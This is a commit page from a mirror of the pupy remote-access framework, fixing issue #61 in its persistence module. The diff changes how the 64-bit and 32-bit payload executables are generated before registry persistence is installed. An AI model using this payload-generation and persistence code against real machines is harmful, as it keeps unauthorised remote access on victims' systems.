mirror of https://github.com/n1nj4sec/pupy.git
fix issue #61
This commit is contained in:
parent
a3631f1267
commit
f3170e80c1
|
@ -46,9 +46,9 @@ class PersistenceModule(PupyModule):
|
||||||
#generating exe
|
#generating exe
|
||||||
self.info("generating exe ...")
|
self.info("generating exe ...")
|
||||||
if self.client.desc['proc_arch']=="64bit":
|
if self.client.desc['proc_arch']=="64bit":
|
||||||
exebuff=pupygen.get_edit_pupyx64_exe(host, port, self.client.pupsrv.transport)
|
exebuff=pupygen.get_edit_pupyx64_exe(self.client.get_conf())
|
||||||
else:
|
else:
|
||||||
exebuff=pupygen.get_edit_pupyx86_exe(host, port, self.client.pupsrv.transport)
|
exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf())
|
||||||
if args.method=="registry":
|
if args.method=="registry":
|
||||||
self.client.load_package("pupwinutils.persistence")
|
self.client.load_package("pupwinutils.persistence")
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue